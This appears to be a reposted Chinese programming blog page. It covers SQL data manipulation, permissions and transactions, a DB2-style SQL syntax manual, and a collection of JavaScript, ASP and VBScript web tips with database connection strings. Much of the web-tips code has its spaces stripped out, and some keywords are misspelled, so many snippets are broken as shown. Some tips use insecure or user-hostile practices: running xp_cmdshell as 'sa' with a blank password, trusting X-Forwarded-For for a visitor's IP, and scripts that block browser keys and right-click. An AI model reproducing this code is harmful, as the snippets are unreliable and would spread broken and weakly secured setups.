CREATE TABLE stu_avggrade
(st_no CHAR(10) NOT NULL,//定义列st_no学号,类型为10位定长字符串,非空
age_grade SMALLINT NOT NULL )// 定义列age_grade平均分,类型为短整形,非空
INSERT INTO stu_avggrade(st_no,age_grade)
SELECT st_no,AVG(score)
FROM score
GROUP BY st_no //因为要求每一个学生所有课程的平均成绩,必须按学号分组进行计算。
2.数据删除
SQL的删除操作是指从基本表中删除满足WHERE<条件表达式>的记录。如果没有WHERE子句,则删除表中全部记录,但表结构依然存在。其语句格式为:
DELETE FROM表名[WHERE 条件表达式]
下面举例说明:
单元组的删除:把学号为100002的学生从表student中删除,可用以下语句:
DELETE FROM student
WHERE st_no=‘100002’//因为学号为100002的学生在表student中只有一个,所以为单元组的删除
多元组的删除:学号为100002的成绩从表score中删除,可用以下语句:
DELETE FROM score
WHERE st_no=‘100002’//由于学号为100002的元组在表score中可能有多个,所以为多元组删除
带有子查询的删除操作:删除所有不及格的学生记录,可用以下语句
DELETE FROM student
WHERE st_no IN
(SELETE st_no
FROM score
WHERE score<60)
3.数据修改
修改语句是按SET子句中的表达式,在指定表中修改满足条件表达式的记录的相应列值。其语句格式如下:
UPDATE 表名 SET 列名=列改变值[WHERE 条件表达式]
例:把c02的课程名改为英语,可以用下列语句:
UPDATE subject
SET su_subject=‘英语’
WHERE su_no=‘c02’
例:将课程成绩达到70分的学生成绩,再提高10%
UPDATE score
SET score=1.1*score
WHERE score>=70
SQL的删除语句和修改语句中的WHERE子句用法与SELECT中WHERE子句用法相同。数据的删除和修改操作,实际上要先做SELECT查询操作,然后再把找到的元组删除或修改。
##2 (四) 数据控制
由于数据库管理系统是一个多用户系统,为了控制用户对数据的存取权利,保持数据的共享及完全性,SQL语言提供了一系列的数据控制功能。其中,主要包括安全性控制、完整性控制、事务控制和并发控制。
1.安全性控制
数据的安全性是指保护数据库,以防非法使用造成数据泄露和破坏。保证数据安全性的主要方法是通过对数据库存取权力的控制来防止非法使用数据库中的数据。即限定不同用户操作不同的数据对象的权限。
存取权控制包括权力的授与、检查和撤消。权力授与和撤消命令由数据库管理员或特定应用人员使用。系统在对数据库操作前,先核实相应用户是否有权在相应数据上进行所要求的操作。
(1)权力授与:权力授与有数据库管理员专用的授权和用户可用的授权两种形式。数据库管理员专用授权命令格式如下:
|CONNECT |
GRANT|RESOURCE|TO 用户名[IDENTIFED BY 口令]
|DBA |
其中,CONNECT表示数据库管理员允许指定的用户具有连接到数据库的权力,这种授权是针对新用户;RESOURCE表示允许用户建立自己的新关系模式,用户获得CONNECT权力后,必须获得RESOURCE权力才能创建自己的新表;DBA表示数据库管理员将自己的特权授与指定的用户。若要同时授与某用户上述三种授权中的多种权力,则必须通过三个相应的GRANT命令指定。
另外,具有CONNECT和RESOURCE授权的用户可以建立自己的表,并在自己建立的表和视图上具有查询、插入、修改和删除的权力。但通常不能使用其他用户的关系,除非能获得其他用户转授给他的相应权力。
例:若允许用户SSE连接到数据库并可以建立他自己的关系,则可通过如下命令授与权力:
GRANT CONNECT TO SSE INENTIFIED BY BD1928
GRANT RESOURCE TO SSE
用户可用的授权是指用户将自己拥有的部分或全部权力转授给其他用户的命令形式,其命令格式如下:
|SELECT |
|INSERT |
|DELETE |
GRANT|UPDATE(列名1[,列名2]…)|ON|表名 |TO|用户名|[WITH GRANT OPTION]
|ALTER | |视图名| |PUBLIC|
|NDEX |
|ALL |

若对某一用户同时授与多种操作权力,则操作命令符号可用“,”相隔。
PUBLIC 表示将权力授与数据库的所有用户,使用时要注意:
任选项WITH GRANT OPTION表示接到授权的用户,具有将其所得到的同时权力再转授给其他用户权力。
例:如果将表student的查询权授与所有用户,可使用以下命令:
GRANT SELECT ON student TO PUBLIC
例:若将表subject的插入及修改权力授与用户SSE并使得他具有将这种权力转授他人的权力,则可使用以下命令:
GRANT INSERT,UPDATE(su_subject) ON subject TO SSE WITH GRANT OPTION
这里,UPDATE后面跟su_subject是指出其所能修改的列。
(2)权力回收:权力回收是指回收指定用户原已授与的某些权力。与权力授与命令相匹配,权力回收也有数据库管理员专用和用户可用的两种形式。
DBA专用的权力回收命令格式为:
|CONNECT |
REVOKE|RESOURCE|FROM用户名
|DBA |
用户可用的权力回收命令格式为:
|SELECT |
|INSERT |
|DELETE |
REVOKE|UPDATE(列名1[,列名2]…) |ON|表名 |FROM |用户名|
|ALTER | |视图名| |PUBLIC|
|INDEX |
|ALL |
例:回收用户SSE的DBA权力:
REVOKE DBA FROM SSE
2.完整性控制
数据库的完整性是指数据的正确性和相容性,这是数据库理论中的重要概念。完整性控制的主要目的是防止语义上不正确的数据进入数据库。关系系统中的完整性约束条件包括实体完整性、参照完整性和用户定义完整性。而完整性约束条件的定义主要是通过CREATE TABLE语句中的[CHECK]子句来完成。另外,还有一些辅助命令可以进行数据完整性保护。如UNIQUE和NOT NULL,前者用于防止重复值进入数据库,后者用于防止空值。
3.事务控制
事务是并发控制的基本单位,也是恢复的基本单位。在SQL中支持事务的概念。所谓事务,是用户定义的一个操作序列(集合),这些操作要么都做,要么一个都不做,是一个不可分割的整体。一个事务通常以BEGIN TRANSACTION开始,以COMMIT或ROLLBACK结束。
SQL提供了事务提交和事务撤消两种命令:
(1)事务提交:事务提交的命令为:
COMMIT [WORK]
事务提交标志着对数据库的某种应用操作成功地完成,所有对数据库的操作都必须作为事务提交给系统时才有效。事务一经提交就不能撤消。
(2)事务撤消:事务撤消的命令是:
ROLLBACK [WORK]
事务撤消标志着相应事务对数据库操作失败,因而要撤消对数据库的改变,即要“回滚”到相应事务开始时的状态。
当系统非正常结束时(如掉电、系统死机),将自动执行ROLLBACK命令
SQL还提供了自动提交事务的机制,其命令为:
SET AUTO COMMIT ON
其对应的人工工作方式命令为:
SET AUTO COMMIT OFF
一旦规定了自动提交事务方式,则系统将每条SQL命令视为一个事务,并在命令成功执行完成时自动地完成事务提交。
4.并发控制
数据库作为共享资源,允许多个用户程序并行地存取数据。当多个用户并行地操作数据库时,需要通过并发控制对它们加以协调、控制,以保证并发操作的正确执行,并保证数据库的一致性。
在SQL中,并发控制采用封锁技术实现,当一个事务欲对某个数据对象操作时,可申请对该对象加锁,取得对数据对象的一定控制,以限制其他事务对该对象的操作。其语句格式为:
|SHARE |
LOCK TABLE 表名(或表名集合)IN |EXCLUSVE |MODE [NOWAIT]
|SHARE UPDATE|
其中,表名(或表名集合)中指出封锁对象,若为多个表名,则各个表名间以“,”相隔;任选项NOWAIT表示多个用户要求封锁相同的关系时,后来提出的要求会被立即退回去,否则会等待该资源释放。
SHARE表示共享封锁方式;EXCLUSIVE表示独占封锁方式;SHARE UPDAE表示共享更新封锁方式。其中共享封锁方式允许其他事务读同一数据,但防止其他事务对已封锁的表进行更新,该锁主要防止在表的两次查询之间对该表的改动;共享更新封锁SHARE UPDATE是一个行封锁机制,它可改善表级封锁的并行性,它能允许并发事务读和修改一个表中的不同的行;独占封锁方式EXCLUSIVE禁止其他事务获得一个共享锁且禁止其他事务执行任何数据操作语句,即一旦某个运行事务对某个数据对象施加了排它锁,则其他任何事务都不能再对该数据对象施加任何方式的锁,只有处于等待状态。如果不想无限等待,则选择NOWAIT。
PHP(Hypertext Preprocessor,超文本预处理器)是一个递归的缩写名称,它是一种内嵌在HTML页面内的脚本语言。它的功能强大,使用方便,开发难度不大,而且可以免费使用。


SQL语法参考手册

日期:2000-9-14 15:41:00
出处:未知
作者:未知

DB2 提供了关连式资料库的查询语言 SQL (Structured Query Language),是一种非常口语化、既易学又易懂的语法。 此一语言几乎是每个资料库系统都必须提供的,用以表示关连式的操作,包含了资料的定义(DDL)以及资料的处理(DML)。SQL原来拼成SEQUEL,这语言的原型以“系统 R“的名字在 IBM 圣荷西实验室完成,经过IBM内部及其他的许多使用性及效率测试,其结果相当令人满意,并决定在系统R 的技术基础发展出来 IBM 的产品。而且美国国家标准学会(ANSI)及国际标准化组织(ISO)在1987遵循一个几乎是以 IBM SQL 为基础的标准关连式资料语言定义。

一、资料定义 DDL(Data Definition Language)
资料定语言是指对资料的格式和形态下定义的语言,他是每个资料库要建立时候时首先要面对的,举凡资料分哪些表格关系、表格内的有什麽栏位主键、表格和表格之间互相参考的关系等等,都是在开始的时候所必须规划好的。

1、建表格:
CREATE TABLE table_name(
column1 DATATYPE [NOT NULL] [NOT NULL PRIMARY KEY],
column2 DATATYPE [NOT NULL],
...)
说明: 
DATATYPE --是资料的格式,详见表。
NUT NULL --可不可以允许资料有空的(尚未有资料填入)。
PRIMARY KEY --是本表的主键。

2、更改表格 
ALTER TABLE table_name
ADD COLUMN column_name DATATYPE
说明:增加一个栏位(没有删除某个栏位的语法。
ALTER TABLE table_name
ADD PRIMARY KEY (column_name)
说明:更改表得的定义把某个栏位设为主键。
ALTER TABLE table_name
DROP PRIMARY KEY (column_name)
说明:把主键的定义删除。

3、建立索引 
CREATE INDEX index_name ON table_name (column_name)
说明:对某个表格的栏位建立索引以增加查询时的速度。

4、删除 
DROP table_name
DROP index_name

二、的资料形态 DATATYPEs
smallint
16 位元的整数。
interger
32 位元的整数。
decimal(p,s)
p 精确值和 s 大小的十进位整数,精确值p是指全部有几个数(digits)大小值,s是指小数
点後有几位数。如果没有特别指定,则系统会设为 p=5; s=0 。
float
32位元的实数。
double
64位元的实数。
char(n)
n 长度的字串,n不能超过 254。
varchar(n)
长度不固定且其最大长度为 n 的字串,n不能超过 4000。
graphic(n)
和 char(n) 一样,不过其单位是两个字元 double-bytes, n不能超过127。这个形态是为
了支援两个字元长度的字体,例如中文字。
vargraphic(n)
可变长度且其最大长度为 n 的双字元字串,n不能超过 2000。
date
包含了 年份、月份、日期。
time
包含了 小时、分钟、秒。
timestamp
包含了 年、月、日、时、分、秒、千分之一秒。

三、资料操作 DML (Data Manipulation Language)
资料定义好之後接下来的就是资料的操作。资料的操作不外乎增加资料(insert)、查询资料(query)、更改资料(update) 、删除资料(delete)四种模式,以下分 别介绍他们的语法:

1、增加资料:
INSERT INTO table_name (column1,column2,...)
VALUES ( value1,value2, ...)
说明:
1.若没有指定column 系统则会按表格内的栏位顺序填入资料。
2.栏位的资料形态和所填入的资料必须吻合。
3.table_name 也可以是景观 view_name。

INSERT INTO table_name (column1,column2,...)
SELECT columnx,columny,... FROM another_table
说明:也可以经过一个子查询(subquery)把别的表格的资料填入。

2、查询资料:
基本查询
SELECT column1,columns2,...
FROM table_name
说明:把table_name 的特定栏位资料全部列出来
SELECT *
FROM table_name
WHERE column1 = xxx
[AND column2 > yyy] [OR column3 <> zzz]
说明:
1.'*'表示全部的栏位都列出来。
2.WHERE 之後是接条件式,把符合条件的资料列出来。

SELECT column1,column2
FROM table_name
ORDER BY column2 [DESC]
说明:ORDER BY 是指定以某个栏位做排序,[DESC]是指从大到小排列,若没有指明,则是从小到大
排列

组合查询
组合查询是指所查询得资料来源并不只有单一的表格,而是联合一个以上的
表格才能够得到结果的。
SELECT *
FROM table1,table2
WHERE table1.colum1=table2.column1
说明:
1.查询两个表格中其中 column1 值相同的资料。
2.当然两个表格相互比较的栏位,其资料形态必须相同。
3.一个复杂的查询其动用到的表格可能会很多个。

整合性的查询:
SELECT COUNT (*)
FROM table_name
WHERE column_name = xxx
说明:
查询符合条件的资料共有几笔。
SELECT SUM(column1)
FROM table_name
说明:
1.计算出总和,所选的栏位必须是可数的数字形态。
2.除此以外还有 AVG() 是计算平均、MAX()、MIN()计算最大最小值的整合性查询。
SELECT column1,AVG(column2)
FROM table_name
GROUP BY column1
HAVING AVG(column2) > xxx
说明:
1.GROUP BY: 以column1 为一组计算 column2 的平均值必须和 AVG、SUM等整合性查询的关键字
一起使用。
2.HAVING : 必须和 GROUP BY 一起使用作为整合性的限制。

复合性的查询
SELECT *
FROM table_name1
WHERE EXISTS (
SELECT *
FROM table_name2
WHERE conditions )
说明:
1.WHERE 的 conditions 可以是另外一个的 query。
2.EXISTS 在此是指存在与否。
SELECT *
FROM table_name1
WHERE column1 IN (
SELECT column1
FROM table_name2
WHERE conditions )
说明: 
1. IN 後面接的是一个集合,表示column1 存在集合里面。
2. SELECT 出来的资料形态必须符合 column1。

其他查询
SELECT *
FROM table_name1
WHERE column1 LIKE 'x%'
说明:LIKE 必须和後面的'x%' 相呼应表示以 x为开头的字串。
SELECT *
FROM table_name1
WHERE column1 IN ('xxx','yyy',..)
说明:IN 後面接的是一个集合,表示column1 存在集合里面。
SELECT *
FROM table_name1
WHERE column1 BETWEEN xx AND yy
说明:BETWEEN 表示 column1 的值介於 xx 和 yy 之间。

3、更改资料:
UPDATE table_name
SET column1='xxx'
WHERE conditoins
说明:
1.更改某个栏位设定其值为'xxx'。
2.conditions 是所要符合的条件、若没有 WHERE 则整个 table 的那个栏位都会全部被更改。

4、删除资料:
DELETE FROM table_name
WHERE conditions
说明:删除符合条件的资料。

说明:关于WHERE条件后面如果包含有日期的比较,不同数据库有不同的表达式。具体如下:
(1)如果是ACCESS数据库,则为:WHERE mydate>#2000-01-01#
(2)如果是ORACLE数据库,则为:WHERE mydate>cast('2000-01-01' as date)
或:WHERE mydate>to_date('2000-01-01','yyyy-mm-dd')
在Delphi中写成:
thedate= '2000-01-01';
query1.SQL.add('select * from abc where mydate>cast('+''+thedate+''+' as date)');

如果比较日期时间型,则为:
WHERE mydatetime>to_date('2000-01-01 10:00:01','yyyy-mm-dd hh24:mi:ss')

posted @ 2005-07-14 16:52 一天一点爱恋 阅读(700) | 评论 (0)编辑 收藏
 
1.oncontextmenu="window.event.returnvalue=false"将彻底屏蔽鼠标右键
oncontextmenu=self.event.returnValue=false
oncontextmenu="return false"
<tableborderoncontextmenu=return(false)><td>no</table>可用于Table

2.<bodyonselectstart="returnfalse">取消选取、防止复制

3.onpaste="returnfalse"不准粘贴

4.oncopy="returnfalse;"oncut="returnfalse;"防止复制

5.<linkrel="ShortcutIcon"href="favicon.ico">IE地址栏前换成自己的图标

6.<linkrel="Bookmark"href="favicon.ico">可以在收藏夹中显示出你的图标

7.<inputstyle="ime-mode:disabled">关闭输入法

8.永远都会带着框架
<scriptlanguage="javascript"><!--
if(window==top)top.location.href="frames.htm";//frames.htm为框架网页
//--></script>

9.防止被人frame
<SCRIPTLANGUAGE=javascript><!--
if(top.location!=self.location)top.location=self.location;
//--></SCRIPT>

10.<noscript><iframesrc=*.html></iframe></noscript>网页将不能被另存为

11.<inputtype=buttonvalue=查看网页源代码
onclick="window.location='view-source:'+'<IMG src="pic/url.gif" align=absMiddle border=0>http://www.csdn.net/">

12.怎样通过asp的手段来检查来访者是否用了代理
<%ifRequest.ServerVariables("HTTP_X_FORWARDED_FOR")<>""then
response.write"<fontcolor=#FF0000>您通过了代理服务器,"&_
"真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
endif
%>

13.取得控件的绝对位置

//javascript
<scriptlanguage="javascript">
functiongetIE(e){
vart=e.offsetTop;
varl=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"\nleft="+l);
}
</script>

//VBScript
<scriptlanguage="VBScript"><!--
functiongetIE()
dimt,l,a,b
seta=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
whilea.tagName<>"BODY"
seta=a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox"top="&t&chr(13)&"left="&l,64,"得到控件的位置"
endfunction
--></script>

14.光标是停在文本框文字的最后
<scriptlanguage="javascript">
functioncc()
{
vare=event.srcElement;
varr=e.createTextRange();
r.moveStart('character',e.value.length);
r.collapse(true);
r.select();
}
</script>
<inputtype=textname=text1value="123"onfocus="cc()">

15.判断上一页的来源
asp:
request.servervariables("HTTP_REFERER")

javascript:
document.referrer

16.最小化、最大化、关闭窗口
<objectid=hh1classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<paramname="Command"value="Minimize"></object>
<objectid=hh2classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<paramname="Command"value="Maximize"></object>
<OBJECTid=hh3classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAMNAME="Command"value="Close"></OBJECT>

<inputtype=buttonvalue=最小化onclick=hh1.Click()>
<inputtype=buttonvalue=最大化onclick=hh2.Click()>
<inputtype=buttonvalue=关闭onclick=hh3.Click()>
本例适用于IE

17.
<%
'定义数据库连接的一些常量
ConstadOpenForwardOnly=0'游标只向前浏览记录,不支持分页、Recordset、BookMark
ConstadOpenKeyset=1'键集游标,其他用户对记录说做的修改将反映到记录集中,但其他用户增加或删除记录不会反映到记录集中。支持分页、Recordset、BookMark
ConstadOpenDynamic=2'动态游标功能最强,但耗资源也最多。用户对记录说做的修改,增加或删除记录都将反映到记录集中。支持全功能浏览(ACCESS不支持)。
ConstadOpenStatic=3'静态游标,只是数据的一个快照,用户对记录说做的修改,增加或删除记录都不会反映到记录集中。支持向前或向后移动

ConstadLockReadOnly=1'锁定类型,默认的,只读,不能作任何修改
ConstadLockPessimistic=2'当编辑时立即锁定记录,最安全的方式
ConstadLockOptimistic=3'只有在调用Update方法时才锁定记录集,而在此前的其他操作仍可对当前记录进行更改、插入和删除等
ConstadLockBatchOptimistic=4'当编辑时记录不会被锁定,而更改、插入和删除是在批处理方式下完成的

ConstadCmdText=&H0001
ConstadCmdTable=&H0002
%>

18.网页不会被缓存
HTM网页
<METAHTTP-EQUIV="pragma"CONTENT="no-cache">
<METAHTTP-EQUIV="Cache-Control"CONTENT="no-cache,must-revalidate">
<METAHTTP-EQUIV="expires"CONTENT="Wed,26Feb199708:21:57GMT">
或者<METAHTTP-EQUIV="expires"CONTENT="0">
ASP网页
Response.Expires=-1
Response.ExpiresAbsolute=Now()-1
Response.cachecontrol="no-cache"
PHP网页
header("Expires:Mon,26Jul199705:00:00GMT");
header("Cache-Control:no-cache,must-revalidate");
header("Pragma:no-cache");


19.检查一段字符串是否全由数字组成
<scriptlanguage="javascript"><!--
functioncheckNum(str){returnstr.match(/\D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
//--></script>

20.获得一个窗口的大小
document.body.clientWidth,document.body.clientHeight

21.怎么判断是否是字符
if(/[^\x00-\xff]/g.test(s))alert("含有汉字");
elsealert("全是字符");

22.TEXTAREA自适应文字行数的多少
<textarearows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>

23.日期减去天数等于第二个日期
<scriptlanguage=javascript>
functioncc(dd,dadd)
{
//可以加上错误处理
vara=newDate(dd)
a=a.valueOf()
a=a-dadd*24*60*60*1000
a=newDate(a)
alert(a.getFullYear()+"年"+(a.getMonth()+1)+"月"+a.getDate()+"日")
}
cc("12/23/2002",2)
</script>

24.选择了哪一个Radio
<HTML><scriptlanguage="vbscript">
functioncheckme()
foreachobinradio1
ifob.checkedthenwindow.alertob.value
next
endfunction
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check"onclick="checkme()">
</BODY></HTML>

25.获得本页url的request.servervariables("")集合
Response.Write"<TABLEborder=1><!--TableHeader--><TR><TD><B>Variables</B></TD><TD><B>value</B></TD></TR>"
foreachobinRequest.ServerVariables
Response.Write"<TR><TD>"&ob&"</TD><TD>"&Request.ServerVariables(ob)&"</TD></TR>"
next
Response.Write"</TABLE>"

26.
本机ip<%=request.servervariables("remote_addr")%>
服务器名<%=Request.ServerVariables("SERVER_NAME")%>
服务器IP<%=Request.ServerVariables("LOCAL_ADDR")%>
服务器端口<%=Request.ServerVariables("SERVER_PORT")%>
服务器时间<%=now%>
IIS版本<%=Request.ServerVariables"SERVER_SOFTWARE")%>
脚本超时时间<%=Server.ScriptTimeout%>
本文件路径<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
服务器CPU数量<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>
服务器解译引擎<%=ScriptEngine&"/" & ScriptEngineMajorVersion &"." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion%>
服务器操作系统<%=Request.ServerVariables("OS")%>

27.ENTER键可以让光标移到下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">

28.检测某个网站的链接速度:
把如下代码加入<body>区域中:
<scriptlanguage=javascript>
tim=1
setInterval("tim++",100)
b=1

varautourl=newArray()
autourl[1]="< src="pic/url.gif" align=absMiddle border=0>www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="< src="pic/url.gif" align=absMiddle border=0>www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="< src="pic/url.gif" align=absMiddle border=0>www.cctv.com"

functionbutt(){
document.write("<formname=autof>")
for(vari=1;i<autourl.length;i++)
document.write("<inputtype=textname=txt"+i+"size=10value=测试中……>=》<inputtype=textname=url"+i+"size=40>=》<inputtype=buttonvalue=GOonclick=window.open(this.form.url"+i+".value)><br/>")
document.write("<inputtype=submitvalue=刷新></form>")
}
butt()
functionauto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
functionrun(){for(vari=1;i<autourl.length;i++)document.write("<imgsrc=http://"+autourl[i]+"/"+Math.random()+"width=1height=1onerror=auto('< src="pic/url.gif" align=absMiddle border=0>http://";+autourl[i]+"')>")}
run()</script>

29.各种样式的光标
auto:标准光标
default:标准箭头
hand:手形光标
wait:等待光标
text:I形光标
vertical-text:水平I形光标
no-drop:不可拖动光标
not-allowed:无效光标
help:?帮助光标
all-scroll:三角方向标
move:移动标
crosshair:十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

-------------------------------------------------


Kafree另外收集增加的:

1,屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键

<body onkeydown="KeyDown()"
oncontextmenu="event.returnValue=false">

<script language="Javascript"><!--
//屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键
//Author: meizz(梅花雨) 2002-6-18

function KeyDown(){
if ((window.event.altKey)&&
((window.event.keyCode==37)|| //屏蔽 Alt+ 方向键 ←
(window.event.keyCode==39))){ //屏蔽 Alt+ 方向键 →
alert("不准你使用ALT+方向键前进或后退网页!");
event.returnValue=false;
}

/* 注:这还不是真正地屏蔽 Alt+ 方向键,
因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放,
用鼠标点掉警告框,这种屏蔽方法就失效了。以后若
有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/

if ((event.keyCode==8) || //屏蔽退格删除键
(event.keyCode==116)|| //屏蔽 F5 刷新键
(event.ctrlKey && event.keyCode==82)){ //Ctrl + R
event.keyCode=0;
event.returnValue=false;
}
if ((event.ctrlKey)&&(event.keyCode==78)) //屏蔽 Ctrl+n
event.returnValue=false;
if ((event.shiftKey)&&(event.keyCode==121)) //屏蔽 shift+F10
event.returnValue=false;
if (window.event.srcElement.tagName == "A" && window.event.shiftKey)
window.event.returnValue = false; //屏蔽 shift 加鼠标左键新开一网页
if ((window.event.altKey)&&(window.event.keyCode==115)){ //屏蔽Alt+F4
window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px");
return false;}
}
/* 另外可以用 window.open 的方法屏蔽 IE 的所有菜单
第一种方法:
window.open("你的.htm", "","toolbar=no,location=no,directories=no,menubar=no,scrollbars=no,resizable=yes,status=no,top=0,left=0")
第二种方法是打开一个全屏的页面:
window.open("你的.asp", "", "fullscreen=yes")
*/
// --></script>
<h2 align=center>屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键</h2>
</body>
</html>

2,RecordSet属性和方法
   为了更精确地跟踪数据,要用RecordSet组件创建包含数据的游标,游标就是储存在内存中的数据。
   rs = Server.CreateObject("ADODB.RecordSet")
   rs.Open(sqlStr,conn,1,A)
   注:A=1读取
   A=3 新增、修改、删除
   在RecordSet组件中,常用的属性和方法有:
   rs.Fields.Count: RecordSet对象的字段数。
   rs(i).Name: 第i个字段的名称,i为0至rs.Fields.Count-1
   rs(i): 第i个字段的数据,i为0至rs.Fields.Count-1
   rs("字段名"): 指定字段的数据。
   rs.Record.Count:游标中的数据记录总数。
   rs.EOF: 是否最后一条记录。
   rs.MoveFirst: 指向第一条记录。
   rs.MoveLast: 指向最后一条记录。
   rs.MovePrev: 指向上一条记录。
   rs.MoveNext: 指向下一条记录。
   rs.GetRows: 将数据放入数组中。
   rs.Properties.Count:ADO的ResultSet或Connection的属性个数。
   rs.Properties(item).Name:ADO的ResultSet或Connection的名称。
   rs.Properties: ADO的ResultSet或Connection的值。
   rs.close(): 关闭连接。

3,本地无缓存,每次自动刷新
response.expires=0
response.addHeader"pragma","no-cache"
response.addHeader"cache-control","private"

4,修改contentType并下载gif等格式
<%
function dl(f,n)
onerrorresumenext

sets=CreateObject("Adodb.Stream")
S.Mode=3
S.Type=1
S.Open
s.LoadFromFile(server.mappath(f))
iferr.number>0then
response.writeerr.number&":"&err.description
else
response.contentType="application/x-gzip"
response.addheader"Content-Disposition:","attachment;filename="&n
response.binarywrite(s.Read(s.size))
endif
endfunction

call dl("012922501.gif","t1.gif") %>

5,常用的几种数据库连接代码
1) MS Access数据库连接
用DSN连接并且没有用户名和密码:
<%
set conn = Server.CreateObject("ADODB.Connection")
conn.open "YourDSNName"
%>

2) 用DSN连接并且有用户名和密码:
<%
set conn = Server.CreateObject("ADODB.Connection")
conn.open "YourDSNName","username","password"
%>

3) 用实际的数据库绝对路径连接:
<%
Set conn = Server.CreateObject("ADODB.Connection")
Strconn="DRIVER={Microsoft Access Driver (*.mdb)}; "
Strconn=Strconn & "DBQ=e:\yanhang\database.mdb"
conn.Open Strconn
%>

4) 用实际的数据库相对路径连接:
<%
Set conn = Server.CreateObject("ADODB.Connection")
Strconn="DRIVER={Microsoft Access Driver (*.mdb)}; "
Strconn=Strconn & "DBQ=" & Server.MapPath("/database/yanhang.mdb")
conn.Open Strconn
%>

5) MS SQL Server数据库连接
用DSN连接:
<%
set conn = Server.CreateObject("ADODB.Connection")
conn.open "DSN=MyDSN;UID=user;PWD=password;DATABASE=databasename"
%>

6) 不用DSN连接:
<%
Set conn = Server.CreateObject("ADODB.Connection")
DSNtemp="DRIVER={SQL Server};SERVER=ServerName;UID=USER;PWD=password;DATABASE=databasename"
conn.open DSNtemp
%>

7) FoxPro数据库连接
<%
Set Conn = Server.CreateObject("ADODB.connection")
ConnStr= "Driver=Microsoft Visual Foxpro Driver; UID=userID;SourceType=DBC;SourceDB=C:\yanhang\database.dbc"
Conn.Open ConnStr
%>

8) Oracle数据库连接:
<%
set conn=server.createobject("adodb.connection")
conn.cursorlocation=adUseClient
DSNTemp="Provider=MSDAORA.1;Password=xxxxx;User ID=yanhang;Data Source=xxx.world"
conn.open DSNtemp
%>

9) Paradox数据库连接:
<%
set conn=server.createobject("adodb.connection")
conn.cursorlocation=adUseClient
DSNTemp="driver={Microsoft Paradox Driver (*.db)};DriverID=538;Fil=Paradox 5.X;DefaultDir=c:\dbpath\;Dbq=c:\dbpath\;CollatingSequence=ASCII;"
conn.open DSNtemp
%>

10) Sybase数据库连接:
<%
set conn=server.createobject("adodb.connection")
conn.cursorlocation=adUseClient
DSNTemp="Driver={SYBASE SYSTEM 11};Srvr=myServerName;Uid=myUsername;Pwd=myPassword;"
conn.open DSNtemp
%>

11) Text数据库连接:
<%
set conn=server.createobject("adodb.connection")
conn.cursorlocation=adUseClient
DSNTemp="Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=c:\somepath\;Extensions=asc,csv,tab,txt;Persist Security Info=False"
conn.open DSNtemp
'调用 test.csv 的文件
Set rs=server.createobject("adodb.recordset")
rs.open "select * from test.csv",conn,1,3
%>

6,使用 XML 静态读取网页
代码如下:

<script>
var oDiv //添加用的节点
var nP //DIV的 padding-left
var xh //xmlhttp
function getXML()
{
oDiv = document.all.m
oDiv.innerHTML = "正在装载栏目数据,请稍侯......."
oDiv.style.display= ""
xh = new ActiveXObject("Microsoft.XMLHTTP")
xh.onreadystatechange = getReady
xh.open("GET",a.value,true)
xh.send()
}

function getReady()
{
if(xh.readyState==4)
{
if(xh.status==200)
{

oDiv.innerHTML = "完成"
}
else
{
oDiv.innerHTML = "抱歉,装载数据失败。原因:" + xh.statusText
}
}
}
</script>
URL:<input name=a value="http://www.microsoft.com">
<input onclick="getXML()" type="button" value="get HTML">
<input onclick="if(xh && xh.responseText) oDiv.innerHTML=xh.responseText" type="button" value="output">
<div id=m></div>

7,SQL SERVER 和EXCEL的数据导入导出
1)、在SQL SERVER里查询Excel数据:
SELECT * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0','Data Source="c:\book1.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...[Sheet1$]

下面是个查询的示例,它通过用于 Jet 的 OLE DB 提供程序查询 Excel 电子表格。
SELECT * FROM OpenDataSource ( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

2)、将Excel的数据导入SQL server :
SELECT * into newtable FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\book1.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...[Sheet1$]

实例分析:
SELECT * into newtable FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

3)、将SQL SERVER中查询到的数据导成一个Excel文件
T-SQL代码:
EXEC master..xp_cmdshell 'bcp 库名.dbo.表名out c:\Temp.xls -c -q -S"servername" -U"sa" -P""'
参数:S 是SQL服务器名;U是用户;P是密码
说明:还可以导出文本文件等多种格式

